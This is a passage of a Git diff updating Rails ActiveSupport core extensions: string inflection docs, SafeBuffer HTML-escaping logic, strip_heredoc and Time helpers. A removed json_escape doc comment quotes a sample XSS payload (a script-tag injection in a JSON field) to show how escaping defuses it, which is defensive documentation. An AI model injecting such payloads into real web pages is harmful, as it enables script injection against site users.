     case first_letter
     when :upper
       ActiveSupport::Inflector.camelize(self, true)
     when :lower
       ActiveSupport::Inflector.camelize(self, false)
+    else
+      raise ArgumentError, "Invalid option, use either :upper or :lower."
     end
   end
   alias_method :camelcase, :camelize
 
   # Capitalizes all the words and replaces some characters in the string to create
   # a nicer looking title. +titleize+ is meant for creating pretty output. It is not
-  # used in the Rails internals.
+  # used in the \Rails internals.
   #
-  # +titleize+ is also aliased as +titlecase+.
+  # The trailing '_id','Id'.. can be kept and capitalized by setting the
+  # optional parameter +keep_id_suffix+ to true.
+  # By default, this parameter is false.
   #
-  #   'man from the boondocks'.titleize # => "Man From The Boondocks"
-  #   'x-men: the last stand'.titleize  # => "X Men: The Last Stand"
-  def titleize
-    ActiveSupport::Inflector.titleize(self)
+  #   'man from the boondocks'.titleize                       # => "Man From The Boondocks"
+  #   'x-men: the last stand'.titleize                        # => "X Men: The Last Stand"
+  #   'string_ending_with_id'.titleize(keep_id_suffix: true)  # => "String Ending With Id"
+  #
+  # See ActiveSupport::Inflector.titleize.
+  def titleize(keep_id_suffix: false)
+    ActiveSupport::Inflector.titleize(self, keep_id_suffix: keep_id_suffix)
   end
   alias_method :titlecase, :titleize
 
@@ -115,6 +134,8 @@ def titleize
   #
   #   'ActiveModel'.underscore         # => "active_model"
   #   'ActiveModel::Errors'.underscore # => "active_model/errors"
+  #
+  # See ActiveSupport::Inflector.underscore.
   def underscore
     ActiveSupport::Inflector.underscore(self)
   end
@@ -122,6 +143,8 @@ def underscore
   # Replaces underscores with dashes in the string.
   #
   #   'puni_puni'.dasherize # => "puni-puni"
+  #
+  # See ActiveSupport::Inflector.dasherize.
   def dasherize
     ActiveSupport::Inflector.dasherize(self)
   end
@@ -133,6 +156,8 @@ def dasherize
   #   '::Inflections'.demodulize                         # => "Inflections"
   #   ''.demodulize                                      # => ''
   #
+  # See ActiveSupport::Inflector.demodulize.
+  #
   # See also +deconstantize+.
   def demodulize
     ActiveSupport::Inflector.demodulize(self)
@@ -146,6 +171,8 @@ def demodulize
   #   '::String'.deconstantize    # => ""
   #   ''.deconstantize            # => ""
   #
+  # See ActiveSupport::Inflector.deconstantize.
+  #
   # See also +demodulize+.
   def deconstantize
     ActiveSupport::Inflector.deconstantize(self)
@@ -153,6 +180,11 @@ def deconstantize
 
   # Replaces special characters in a string so that it may be used as part of a 'pretty' URL.
   #
+  # If the optional parameter +locale+ is specified,
+  # the word will be parameterized as a word of that language.
+  # By default, this parameter is set to <tt>nil</tt> and it will use
+  # the configured <tt>I18n.locale</tt>.
+  #
   #   class Person
   #     def to_param
   #       "#{id}-#{name.parameterize}"
@@ -165,7 +197,7 @@ def deconstantize
   #   <%= link_to(@person.name, person_path) %>
   #   # => <a href="/person/1-donald-e-knuth">Donald E. Knuth</a>
   #
-  # To preserve the case of the characters in a string, use the `preserve_case` argument.
+  # To preserve the case of the characters in a string, use the +preserve_case+ argument.
   #
   #   class Person
   #     def to_param
@@ -178,31 +210,37 @@ def deconstantize
   #
   #   <%= link_to(@person.name, person_path) %>
   #   # => <a href="/person/1-Donald-E-Knuth">Donald E. Knuth</a>
-  def parameterize(separator: "-", preserve_case: false)
-    ActiveSupport::Inflector.parameterize(self, separator: separator, preserve_case: preserve_case)
+  #
+  # See ActiveSupport::Inflector.parameterize.
+  def parameterize(separator: "-", preserve_case: false, locale: nil)
+    ActiveSupport::Inflector.parameterize(self, separator: separator, preserve_case: preserve_case, locale: locale)
   end
 
-  # Creates the name of a table like Rails does for models to table names. This method
+  # Creates the name of a table like \Rails does for models to table names. This method
   # uses the +pluralize+ method on the last word in the string.
   #
   #   'RawScaledScorer'.tableize # => "raw_scaled_scorers"
   #   'ham_and_egg'.tableize     # => "ham_and_eggs"
   #   'fancyCategory'.tableize   # => "fancy_categories"
+  #
+  # See ActiveSupport::Inflector.tableize.
   def tableize
     ActiveSupport::Inflector.tableize(self)
   end
 
-  # Creates a class name from a plural table name like Rails does for table names to models.
+  # Creates a class name from a plural table name like \Rails does for table names to models.
   # Note that this returns a string and not a class. (To convert to an actual class
   # follow +classify+ with +constantize+.)
   #
   #   'ham_and_eggs'.classify # => "HamAndEgg"
   #   'posts'.classify        # => "Post"
+  #
+  # See ActiveSupport::Inflector.classify.
   def classify
     ActiveSupport::Inflector.classify(self)
   end
 
-  # Capitalizes the first word, turns underscores into spaces, and strips a
+  # Capitalizes the first word, turns underscores into spaces, and (by default) strips a
   # trailing '_id' if present.
   # Like +titleize+, this is meant for creating pretty output.
   #
@@ -210,23 +248,43 @@ def classify
   # optional parameter +capitalize+ to false.
   # By default, this parameter is true.
   #
-  #   'employee_salary'.humanize              # => "Employee salary"
-  #   'author_id'.humanize                    # => "Author"
-  #   'author_id'.humanize(capitalize: false) # => "author"
-  #   '_id'.humanize                          # => "Id"
-  def humanize(options = {})
-    ActiveSupport::Inflector.humanize(self, options)
+  # The trailing '_id' can be kept and capitalized by setting the
+  # optional parameter +keep_id_suffix+ to true.
+  # By default, this parameter is false.
+  #
+  #   'employee_salary'.humanize                    # => "Employee salary"
+  #   'author_id'.humanize                          # => "Author"
+  #   'author_id'.humanize(capitalize: false)       # => "author"
+  #   '_id'.humanize                                # => "Id"
+  #   'author_id'.humanize(keep_id_suffix: true)    # => "Author id"
+  #
+  # See ActiveSupport::Inflector.humanize.
+  def humanize(capitalize: true, keep_id_suffix: false)
+    ActiveSupport::Inflector.humanize(self, capitalize: capitalize, keep_id_suffix: keep_id_suffix)
   end
 
-  # Converts just the first character to uppercase.
+  # Converts the first character to uppercase.
   #
   #   'what a Lovely Day'.upcase_first # => "What a Lovely Day"
   #   'w'.upcase_first                 # => "W"
   #   ''.upcase_first                  # => ""
+  #
+  # See ActiveSupport::Inflector.upcase_first.
   def upcase_first
     ActiveSupport::Inflector.upcase_first(self)
   end
 
+  # Converts the first character to lowercase.
+  #
+  #   'If they enjoyed The Matrix'.downcase_first # => "if they enjoyed The Matrix"
+  #   'I'.downcase_first                          # => "i"
+  #   ''.downcase_first                           # => ""
+  #
+  # See ActiveSupport::Inflector.downcase_first.
+  def downcase_first
+    ActiveSupport::Inflector.downcase_first(self)
+  end
+
   # Creates a foreign key name from a class name.
   # +separate_class_name_and_id_with_underscore+ sets whether
   # the method should put '_' between the name and 'id'.
@@ -234,6 +292,8 @@ def upcase_first
   #   'Message'.foreign_key        # => "message_id"
   #   'Message'.foreign_key(false) # => "messageid"
   #   'Admin::Post'.foreign_key    # => "post_id"
+  #
+  # See ActiveSupport::Inflector.foreign_key.
   def foreign_key(separate_class_name_and_id_with_underscore = true)
     ActiveSupport::Inflector.foreign_key(self, separate_class_name_and_id_with_underscore)
   end
diff --git a/activesupport/lib/active_support/core_ext/string/inquiry.rb b/activesupport/lib/active_support/core_ext/string/inquiry.rb
index c95d83beaef48..a3b42dad5c09b 100644
--- a/activesupport/lib/active_support/core_ext/string/inquiry.rb
+++ b/activesupport/lib/active_support/core_ext/string/inquiry.rb
@@ -1,7 +1,10 @@
+# frozen_string_literal: true
+
 require "active_support/string_inquirer"
+require "active_support/environment_inquirer"
 
 class String
-  # Wraps the current string in the <tt>ActiveSupport::StringInquirer</tt> class,
+  # Wraps the current string in the ActiveSupport::StringInquirer class,
   # which gives you a prettier way to test for equality.
   #
   #   env = 'production'.inquiry
diff --git a/activesupport/lib/active_support/core_ext/string/multibyte.rb b/activesupport/lib/active_support/core_ext/string/multibyte.rb
index 1c73182259e65..c869066192c90 100644
--- a/activesupport/lib/active_support/core_ext/string/multibyte.rb
+++ b/activesupport/lib/active_support/core_ext/string/multibyte.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "active_support/multibyte"
 
 class String
@@ -9,12 +11,15 @@ class String
   # encapsulates the original string. A Unicode safe version of all the String methods are defined on this proxy
   # class. If the proxy class doesn't respond to a certain method, it's forwarded to the encapsulated string.
   #
-  #   >> "lj".upcase
-  #   => "lj"
   #   >> "lj".mb_chars.upcase.to_s
-  #   => "LJ"
+  #   # => "LJ"
+  #
+  # NOTE: Ruby 2.4 and later support native Unicode case mappings:
+  #
+  #   >> "lj".upcase
+  #   # => "LJ"
   #
-  # == Method chaining
+  # == \Method chaining
   #
   # All the methods on the Chars proxy which normally return a string will return a Chars object. This allows
   # method chaining on the result of any of these methods.
@@ -30,7 +35,16 @@ class String
   # For more information about the methods defined on the Chars proxy see ActiveSupport::Multibyte::Chars. For
   # information about how to change the default Multibyte behavior see ActiveSupport::Multibyte.
   def mb_chars
-    ActiveSupport::Multibyte.proxy_class.new(self)
+    ActiveSupport.deprecator.warn(
+      "String#mb_chars is deprecated and will be removed in Rails 8.2. " \
+      "Use normal string methods instead."
+    )
+
+    if ActiveSupport::Multibyte.proxy_class == ActiveSupport::Multibyte::Chars
+      ActiveSupport::Multibyte::Chars.new(self, deprecation: false)
+    else
+      ActiveSupport::Multibyte.proxy_class.new(self)
+    end
   end
 
   # Returns +true+ if string has utf_8 encoding.
@@ -42,9 +56,9 @@ def mb_chars
   #   iso_str.is_utf8?   # => false
   def is_utf8?
     case encoding
-    when Encoding::UTF_8
+    when Encoding::UTF_8, Encoding::US_ASCII
       valid_encoding?
-    when Encoding::ASCII_8BIT, Encoding::US_ASCII
+    when Encoding::ASCII_8BIT
       dup.force_encoding(Encoding::UTF_8).valid_encoding?
     else
       false
diff --git a/activesupport/lib/active_support/core_ext/string/output_safety.rb b/activesupport/lib/active_support/core_ext/string/output_safety.rb
index 94ce3f6a615d5..080d62b9b2683 100644
--- a/activesupport/lib/active_support/core_ext/string/output_safety.rb
+++ b/activesupport/lib/active_support/core_ext/string/output_safety.rb
@@ -1,124 +1,7 @@
-require "erb"
-require "active_support/core_ext/kernel/singleton_class"
-require "active_support/multibyte/unicode"
-
-class ERB
-  module Util
-    HTML_ESCAPE = { "&" => "&amp;",  ">" => "&gt;",   "<" => "&lt;", '"' => "&quot;", "'" => "&#39;" }
-    JSON_ESCAPE = { "&" => '\u0026', ">" => '\u003e', "<" => '\u003c', "\u2028" => '\u2028', "\u2029" => '\u2029' }
-    HTML_ESCAPE_ONCE_REGEXP = /["><']|&(?!([a-zA-Z]+|(#\d+)|(#[xX][\dA-Fa-f]+));)/
-    JSON_ESCAPE_REGEXP = /[\u2028\u2029&><]/u
-
-    # A utility method for escaping HTML tag characters.
-    # This method is also aliased as <tt>h</tt>.
-    #
-    # In your ERB templates, use this method to escape any unsafe content. For example:
-    #   <%= h @person.name %>
-    #
-    #   puts html_escape('is a > 0 & a < 10?')
-    #   # => is a &gt; 0 &amp; a &lt; 10?
-    def html_escape(s)
-      unwrapped_html_escape(s).html_safe
-    end
-
-    # Aliasing twice issues a warning "discarding old...". Remove first to avoid it.
-    remove_method(:h)
-    alias h html_escape
-
-    module_function :h
-
-    singleton_class.send(:remove_method, :html_escape)
-    module_function :html_escape
-
-    # HTML escapes strings but doesn't wrap them with an ActiveSupport::SafeBuffer.
-    # This method is not for public consumption! Seriously!
-    def unwrapped_html_escape(s) # :nodoc:
-      s = s.to_s
-      if s.html_safe?
-        s
-      else
-        CGI.escapeHTML(ActiveSupport::Multibyte::Unicode.tidy_bytes(s))
-      end
-    end
-    module_function :unwrapped_html_escape
-
-    # A utility method for escaping HTML without affecting existing escaped entities.
-    #
-    #   html_escape_once('1 < 2 &amp; 3')
-    #   # => "1 &lt; 2 &amp; 3"
-    #
-    #   html_escape_once('&lt;&lt; Accept & Checkout')
-    #   # => "&lt;&lt; Accept &amp; Checkout"
-    def html_escape_once(s)
-      result = ActiveSupport::Multibyte::Unicode.tidy_bytes(s.to_s).gsub(HTML_ESCAPE_ONCE_REGEXP, HTML_ESCAPE)
-      s.html_safe? ? result.html_safe : result
-    end
+# frozen_string_literal: true
 
-    module_function :html_escape_once
-
-    # A utility method for escaping HTML entities in JSON strings. Specifically, the
-    # &, > and < characters are replaced with their equivalent unicode escaped form -
-    # \u0026, \u003e, and \u003c. The Unicode sequences \u2028 and \u2029 are also
-    # escaped as they are treated as newline characters in some JavaScript engines.
-    # These sequences have identical meaning as the original characters inside the
-    # context of a JSON string, so assuming the input is a valid and well-formed
-    # JSON value, the output will have equivalent meaning when parsed:
-    #
-    #   json = JSON.generate({ name: "</script><script>alert('PWNED!!!')</script>"})
-    #   # => "{\"name\":\"</script><script>alert('PWNED!!!')</script>\"}"
-    #
-    #   json_escape(json)
-    #   # => "{\"name\":\"\\u003C/script\\u003E\\u003Cscript\\u003Ealert('PWNED!!!')\\u003C/script\\u003E\"}"
-    #
-    #   JSON.parse(json) == JSON.parse(json_escape(json))
-    #   # => true
-    #
-    # The intended use case for this method is to escape JSON strings before including
-    # them inside a script tag to avoid XSS vulnerability:
-    #
-    #   <script>
-    #     var currentUser = <%= raw json_escape(current_user.to_json) %>;
-    #   </script>
-    #
-    # It is necessary to +raw+ the result of +json_escape+, so that quotation marks
-    # don't get converted to <tt>&quot;</tt> entities. +json_escape+ doesn't
-    # automatically flag the result as HTML safe, since the raw value is unsafe to
-    # use inside HTML attributes.
-    #
-    # If your JSON is being used downstream for insertion into the DOM, be aware of
-    # whether or not it is being inserted via +html()+. Most jQuery plugins do this.
-    # If that is the case, be sure to +html_escape+ or +sanitize+ any user-generated
-    # content returned by your JSON.
-    #
-    # If you need to output JSON elsewhere in your HTML, you can just do something
-    # like this, as any unsafe characters (including quotation marks) will be
-    # automatically escaped for you:
-    #
-    #   <div data-user-info="<%= current_user.to_json %>">...</div>
-    #
-    # WARNING: this helper only works with valid JSON. Using this on non-JSON values
-    # will open up serious XSS vulnerabilities. For example, if you replace the
-    # +current_user.to_json+ in the example above with user input instead, the browser
-    # will happily eval() that string as JavaScript.
-    #
-    # The escaping performed in this method is identical to those performed in the
-    # Active Support JSON encoder when +ActiveSupport.escape_html_entities_in_json+ is
-    # set to true. Because this transformation is idempotent, this helper can be
-    # applied even if +ActiveSupport.escape_html_entities_in_json+ is already true.
-    #
-    # Therefore, when you are unsure if +ActiveSupport.escape_html_entities_in_json+
-    # is enabled, or if you are unsure where your JSON string originated from, it
-    # is recommended that you always apply this helper (other libraries, such as the
-    # JSON gem, do not provide this kind of protection by default; also some gems
-    # might override +to_json+ to bypass Active Support's encoder).
-    def json_escape(s)
-      result = s.to_s.gsub(JSON_ESCAPE_REGEXP, JSON_ESCAPE)
-      s.html_safe? ? result.html_safe : result
-    end
-
-    module_function :json_escape
-  end
-end
+require "active_support/core_ext/erb/util"
+require "active_support/multibyte/unicode"
 
 class Object
   def html_safe?
@@ -132,90 +15,135 @@ def html_safe?
   end
 end
 
-module ActiveSupport #:nodoc:
+module ActiveSupport # :nodoc:
   class SafeBuffer < String
     UNSAFE_STRING_METHODS = %w(
-      capitalize chomp chop delete downcase gsub lstrip next reverse rstrip
-      slice squeeze strip sub succ swapcase tr tr_s upcase
+      capitalize chomp chop delete delete_prefix delete_suffix
+      downcase lstrip next reverse rstrip scrub squeeze strip
+      succ swapcase tr tr_s unicode_normalize upcase
     )
 
+    UNSAFE_STRING_METHODS_WITH_BACKREF = %w(gsub sub)
+
     alias_method :original_concat, :concat
     private :original_concat
 
-    # Raised when <tt>ActiveSupport::SafeBuffer#safe_concat</tt> is called on unsafe buffers.
+    # Raised when ActiveSupport::SafeBuffer#safe_concat is called on unsafe buffers.
     class SafeConcatError < StandardError
       def initialize
-        super "Could not concatenate to the buffer because it is not html safe."
+        super "Could not concatenate to the buffer because it is not HTML safe."
       end
     end
 
     def [](*args)
-      if args.size < 2
-        super
-      elsif html_safe?
-        new_safe_buffer = super
+      if html_safe?
+        new_string = super
 
-        if new_safe_buffer
-          new_safe_buffer.instance_variable_set :@html_safe, true
-        end
+        return unless new_string
 
-        new_safe_buffer
+        string_into_safe_buffer(new_string, true)
       else
         to_str[*args]
       end
     end
+    alias_method :slice, :[]
+
+    def slice!(*args)
+      new_string = super
+
+      return new_string if !html_safe? || new_string.nil?
+
+      string_into_safe_buffer(new_string, true)
+    end
+
+    def chr
+      return super unless html_safe?
+
+      string_into_safe_buffer(super, true)
+    end
 
     def safe_concat(value)
       raise SafeConcatError unless html_safe?
       original_concat(value)
     end
 
-    def initialize(str = "")
-      @html_safe = true
+    def initialize(_str = "")
       super
     end
 
     def initialize_copy(other)
       super
-      @html_safe = other.html_safe?
-    end
-
-    def clone_empty
-      self[0, 0]
+      @html_unsafe = true unless other.html_safe?
     end
 
     def concat(value)
-      super(html_escape_interpolated_argument(value))
+      unless value.nil?
+        super(implicit_html_escape_interpolated_argument(value))
+      end
+      self
     end
     alias << concat
 
+    def bytesplice(*args, value)
+      super(*args, implicit_html_escape_interpolated_argument(value))
+    end
+
+    def insert(index, value)
+      super(index, implicit_html_escape_interpolated_argument(value))
+    end
+
     def prepend(value)
-      super(html_escape_interpolated_argument(value))
+      super(implicit_html_escape_interpolated_argument(value))
+    end
+
+    def replace(value)
+      super(implicit_html_escape_interpolated_argument(value))
+    end
+
+    def []=(arg1, arg2, arg3 = nil)
+      if arg3
+        super(arg1, arg2, implicit_html_escape_interpolated_argument(arg3))
+      else
+        super(arg1, implicit_html_escape_interpolated_argument(arg2))
+      end
     end
 
     def +(other)
       dup.concat(other)
     end
 
+    def *(_)
+      new_string = super
+      new_safe_buffer = new_string.is_a?(SafeBuffer) ? new_string : SafeBuffer.new(new_string)
+      if @html_unsafe
+        new_safe_buffer.instance_variable_set(:@html_unsafe, true)
+      end
+      new_safe_buffer
+    end
+
     def %(args)
       case args
       when Hash
-        escaped_args = Hash[args.map { |k, arg| [k, html_escape_interpolated_argument(arg)] }]
+        escaped_args = args.transform_values { |arg| explicit_html_escape_interpolated_argument(arg) }
       else
-        escaped_args = Array(args).map { |arg| html_escape_interpolated_argument(arg) }
+        escaped_args = Array(args).map { |arg| explicit_html_escape_interpolated_argument(arg) }
       end
 
       self.class.new(super(escaped_args))
     end
 
     def html_safe?
-      defined?(@html_safe) && @html_safe
+      @html_unsafe.nil?
     end
 
     def to_s
       self
     end
 
+    def as_json(*)
+      to_str
+    end
+
     def to_param
       to_str
     end
@@ -226,23 +154,71 @@ def encode_with(coder)
 
     UNSAFE_STRING_METHODS.each do |unsafe_method|
       if unsafe_method.respond_to?(unsafe_method)
-        class_eval <<-EOT, __FILE__, __LINE__ + 1
+        class_eval <<~RUBY, __FILE__, __LINE__ + 1
           def #{unsafe_method}(*args, &block)       # def capitalize(*args, &block)
             to_str.#{unsafe_method}(*args, &block)  #   to_str.capitalize(*args, &block)
           end                                       # end
 
           def #{unsafe_method}!(*args)              # def capitalize!(*args)
-            @html_safe = false                      #   @html_safe = false
+            @html_unsafe = true                     #   @html_unsafe = true
             super                                   #   super
           end                                       # end
-        EOT
+        RUBY
       end
     end
 
+    UNSAFE_STRING_METHODS_WITH_BACKREF.each do |unsafe_method|
+      class_eval <<~RUBY, __FILE__, __LINE__ + 1
+        def #{unsafe_method}(*args, &block)             # def gsub(*args, &block)
+          if block                                      #   if block
+            to_str.#{unsafe_method}(*args) { |*params|  #     to_str.gsub(*args) { |*params|
+              set_block_back_references(block, $~)      #       set_block_back_references(block, $~)
+              block.call(*params)                       #       block.call(*params)
+            }                                           #     }
+          else                                          #   else
+            to_str.#{unsafe_method}(*args)              #     to_str.gsub(*args)
+          end                                           #   end
+        end                                             # end
+
+        def #{unsafe_method}!(*args, &block)            # def gsub!(*args, &block)
+          @html_unsafe = true                           #   @html_unsafe = true
+          if block                                      #   if block
+            super(*args) { |*params|                    #     super(*args) { |*params|
+              set_block_back_references(block, $~)      #       set_block_back_references(block, $~)
+              block.call(*params)                       #       block.call(*params)
+            }                                           #     }
+          else                                          #   else
+            super                                       #     super
+          end                                           #   end
+        end                                             # end
+      RUBY
+    end
+
     private
+      def explicit_html_escape_interpolated_argument(arg)
+        (!html_safe? || arg.html_safe?) ? arg : ERB::Util.unwrapped_html_escape(arg)
+      end
 
-      def html_escape_interpolated_argument(arg)
-        (!html_safe? || arg.html_safe?) ? arg : CGI.escapeHTML(arg.to_s)
+      def implicit_html_escape_interpolated_argument(arg)
+        if !html_safe? || arg.html_safe?
+          arg
+        else
+          ERB::Util.unwrapped_html_escape(arg.to_str)
+        end
+      end
+
+      def set_block_back_references(block, match_data)
+        block.binding.eval("proc { |m| $~ = m }").call(match_data)
+      rescue ArgumentError
+        # Can't create binding from C level Proc
+      end
+
+      def string_into_safe_buffer(new_string, is_html_safe)
+        new_safe_buffer = new_string.is_a?(SafeBuffer) ? new_string : SafeBuffer.new(new_string)
+        unless is_html_safe
+          new_safe_buffer.instance_variable_set :@html_unsafe, true
+        end
+        new_safe_buffer
       end
   end
 end
@@ -251,7 +227,7 @@ class String
   # Marks a string as trusted safe. It will be inserted into HTML with no
   # additional escaping performed. It is your responsibility to ensure that the
   # string contains no malicious content. This method is equivalent to the
-  # `raw` helper in views. It is recommended that you use `sanitize` instead of
+  # +raw+ helper in views. It is recommended that you use +sanitize+ instead of
   # this method. It should never be called on user input.
   def html_safe
     ActiveSupport::SafeBuffer.new(self)
diff --git a/activesupport/lib/active_support/core_ext/string/starts_ends_with.rb b/activesupport/lib/active_support/core_ext/string/starts_ends_with.rb
index 641acf62d0d86..1e216370e4980 100644
--- a/activesupport/lib/active_support/core_ext/string/starts_ends_with.rb
+++ b/activesupport/lib/active_support/core_ext/string/starts_ends_with.rb
@@ -1,4 +1,6 @@
+# frozen_string_literal: true
+
 class String
-  alias_method :starts_with?, :start_with?
-  alias_method :ends_with?, :end_with?
+  alias :starts_with? :start_with?
+  alias :ends_with? :end_with?
 end
diff --git a/activesupport/lib/active_support/core_ext/string/strip.rb b/activesupport/lib/active_support/core_ext/string/strip.rb
index bb62e6c0ba3a1..a6708d7dbf8a6 100644
--- a/activesupport/lib/active_support/core_ext/string/strip.rb
+++ b/activesupport/lib/active_support/core_ext/string/strip.rb
@@ -1,6 +1,14 @@
+# frozen_string_literal: true
+
+require "strscan"
+
 class String
   # Strips indentation in heredocs.
   #
+  # Note that since Ruby 2.3, heredocs can directly created with their indentation striped
+  # by using the <tt><<~</tt> syntax instead of <tt><<-</tt>.
+  # Hence the strip_heredoc method is rarely useful nowadays.
+  #
   # For example in
   #
   #   if options[:usage]
@@ -18,6 +26,32 @@ class String
   # Technically, it looks for the least indented non-empty line
   # in the whole string, and removes that amount of leading whitespace.
   def strip_heredoc
-    gsub(/^#{scan(/^[ \t]*(?=\S)/).min}/, "".freeze)
+    scanner = StringScanner.new("")
+
+    min_indent_len = nil
+    lines = self.lines
+
+    lines.each do |line|
+      scanner.string = line
+      indent_len = scanner.skip(/[ \t]*/)
+
+      next unless scanner.match?(/[^\r\n]/)
+
+      min_indent_len = indent_len if indent_len < (min_indent_len || Float::INFINITY)
+    end
+
+
+    if min_indent_len.nil? || min_indent_len.zero?
+      return frozen? ? self : dup
+    end
+
+    lines.each do |line|
+      line[0, min_indent_len] = "" unless line == "\n"
+    end
+
+    result = lines.join
+
+    result.freeze if frozen?
+    result
   end
 end
diff --git a/activesupport/lib/active_support/core_ext/string/zones.rb b/activesupport/lib/active_support/core_ext/string/zones.rb
index de5a28e4f7f6e..55dc231464bd0 100644
--- a/activesupport/lib/active_support/core_ext/string/zones.rb
+++ b/activesupport/lib/active_support/core_ext/string/zones.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "active_support/core_ext/string/conversions"
 require "active_support/core_ext/time/zones"
 
diff --git a/activesupport/lib/active_support/core_ext/symbol.rb b/activesupport/lib/active_support/core_ext/symbol.rb
new file mode 100644
index 0000000000000..f5379ff3a394e
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/symbol.rb
@@ -0,0 +1,3 @@
+# frozen_string_literal: true
+
+require_relative "symbol/starts_ends_with"
diff --git a/activesupport/lib/active_support/core_ext/symbol/starts_ends_with.rb b/activesupport/lib/active_support/core_ext/symbol/starts_ends_with.rb
new file mode 100644
index 0000000000000..4f8521759b227
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/symbol/starts_ends_with.rb
@@ -0,0 +1,6 @@
+# frozen_string_literal: true
+
+class Symbol
+  alias :starts_with? :start_with?
+  alias :ends_with? :end_with?
+end
diff --git a/activesupport/lib/active_support/core_ext/thread/backtrace/location.rb b/activesupport/lib/active_support/core_ext/thread/backtrace/location.rb
new file mode 100644
index 0000000000000..d21acffb3b841
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/thread/backtrace/location.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+class Thread::Backtrace::Location # :nodoc:
+  def spot(ex)
+    ErrorHighlight.spot(ex, backtrace_location: self)
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/time.rb b/activesupport/lib/active_support/core_ext/time.rb
index b1ae4a45d9aef..4e16274443d71 100644
--- a/activesupport/lib/active_support/core_ext/time.rb
+++ b/activesupport/lib/active_support/core_ext/time.rb
@@ -1,5 +1,7 @@
-require "active_support/core_ext/time/acts_like"
-require "active_support/core_ext/time/calculations"
-require "active_support/core_ext/time/compatibility"
-require "active_support/core_ext/time/conversions"
-require "active_support/core_ext/time/zones"
+# frozen_string_literal: true
+
+require_relative "time/acts_like"
+require_relative "time/calculations"
+require_relative "time/compatibility"
+require_relative "time/conversions"
+require_relative "time/zones"
diff --git a/activesupport/lib/active_support/core_ext/time/acts_like.rb b/activesupport/lib/active_support/core_ext/time/acts_like.rb
index cf4b2539c5327..8572b49639959 100644
--- a/activesupport/lib/active_support/core_ext/time/acts_like.rb
+++ b/activesupport/lib/active_support/core_ext/time/acts_like.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "active_support/core_ext/object/acts_like"
 
 class Time
diff --git a/activesupport/lib/active_support/core_ext/time/calculations.rb b/activesupport/lib/active_support/core_ext/time/calculations.rb
index cbdcb86d6d01f..9e9a1c0af3b7d 100644
--- a/activesupport/lib/active_support/core_ext/time/calculations.rb
+++ b/activesupport/lib/active_support/core_ext/time/calculations.rb
@@ -1,9 +1,12 @@
+# frozen_string_literal: true
+
 require "active_support/duration"
 require "active_support/core_ext/time/conversions"
 require "active_support/time_with_zone"
 require "active_support/core_ext/time/zones"
 require "active_support/core_ext/date_and_time/calculations"
 require "active_support/core_ext/date/calculations"
+require "active_support/core_ext/module/remove_method"
 
 class Time
   include DateAndTime::Calculations
@@ -39,20 +42,45 @@ def current
 
     # Layers additional behavior on Time.at so that ActiveSupport::TimeWithZone and DateTime
     # instances can be used when called with a single argument
-    def at_with_coercion(*args)
-      return at_without_coercion(*args) if args.size != 1
-
-      # Time.at can be called with a time or numerical value
-      time_or_number = args.first
-
-      if time_or_number.is_a?(ActiveSupport::TimeWithZone) || time_or_number.is_a?(DateTime)
-        at_without_coercion(time_or_number.to_f).getlocal
+    def at_with_coercion(time_or_number, *args)
+      if args.empty?
+        if time_or_number.is_a?(ActiveSupport::TimeWithZone)
+          at_without_coercion(time_or_number.to_r).getlocal
+        elsif time_or_number.is_a?(DateTime)
+          at_without_coercion(time_or_number.to_f).getlocal
+        else
+          at_without_coercion(time_or_number)
+        end
       else
-        at_without_coercion(time_or_number)
+        at_without_coercion(time_or_number, *args)
       end
     end
+    ruby2_keywords :at_with_coercion
     alias_method :at_without_coercion, :at
     alias_method :at, :at_with_coercion
+
+    # Creates a +Time+ instance from an RFC 3339 string.
+    #
+    #   Time.rfc3339('1999-12-31T14:00:00-10:00') # => 2000-01-01 00:00:00 -1000
+    #
+    # If the time or offset components are missing then an +ArgumentError+ will be raised.
+    #
+    #   Time.rfc3339('1999-12-31') # => ArgumentError: invalid date
+    def rfc3339(str)
+      parts = Date._rfc3339(str)
+
+      raise ArgumentError, "invalid date" if parts.empty?
+
+      Time.new(
+        parts.fetch(:year),
+        parts.fetch(:mon),
+        parts.fetch(:mday),
+        parts.fetch(:hour),
+        parts.fetch(:min),
+        parts.fetch(:sec) + parts.fetch(:sec_fraction, 0),
+        parts.fetch(:offset)
+      )
+    end
   end
 
   # Returns the number of seconds since 00:00:00.
@@ -83,22 +111,23 @@ def sec_fraction
   # Returns a new Time where one or more of the elements have been changed according
   # to the +options+ parameter. The time options (<tt>:hour</tt>, <tt>:min</tt>,
   # <tt>:sec</tt>, <tt>:usec</tt>, <tt>:nsec</tt>) reset cascadingly, so if only
-  # the hour is passed, then minute, sec, usec and nsec is set to 0. If the hour
-  # and minute is passed, then sec, usec and nsec is set to 0. The +options+
-  # parameter takes a hash with any of these keys: <tt>:year</tt>, <tt>:month</tt>,
-  # <tt>:day</tt>, <tt>:hour</tt>, <tt>:min</tt>, <tt>:sec</tt>, <tt>:usec</tt>
-  # <tt>:nsec</tt>. Pass either <tt>:usec</tt> or <tt>:nsec</tt>, not both.
+  # the hour is passed, then minute, sec, usec, and nsec is set to 0. If the hour
+  # and minute is passed, then sec, usec, and nsec is set to 0. The +options+ parameter
+  # takes a hash with any of these keys: <tt>:year</tt>, <tt>:month</tt>, <tt>:day</tt>,
+  # <tt>:hour</tt>, <tt>:min</tt>, <tt>:sec</tt>, <tt>:usec</tt>, <tt>:nsec</tt>,
+  # <tt>:offset</tt>. Pass either <tt>:usec</tt> or <tt>:nsec</tt>, not both.
   #
   #   Time.new(2012, 8, 29, 22, 35, 0).change(day: 1)              # => Time.new(2012, 8, 1, 22, 35, 0)
   #   Time.new(2012, 8, 29, 22, 35, 0).change(year: 1981, day: 1)  # => Time.new(1981, 8, 1, 22, 35, 0)
   #   Time.new(2012, 8, 29, 22, 35, 0).change(year: 1981, hour: 0) # => Time.new(1981, 8, 29, 0, 0, 0)
   def change(options)
-    new_year  = options.fetch(:year, year)
-    new_month = options.fetch(:month, month)
-    new_day   = options.fetch(:day, day)
-    new_hour  = options.fetch(:hour, hour)
-    new_min   = options.fetch(:min, options[:hour] ? 0 : min)
-    new_sec   = options.fetch(:sec, (options[:hour] || options[:min]) ? 0 : sec)
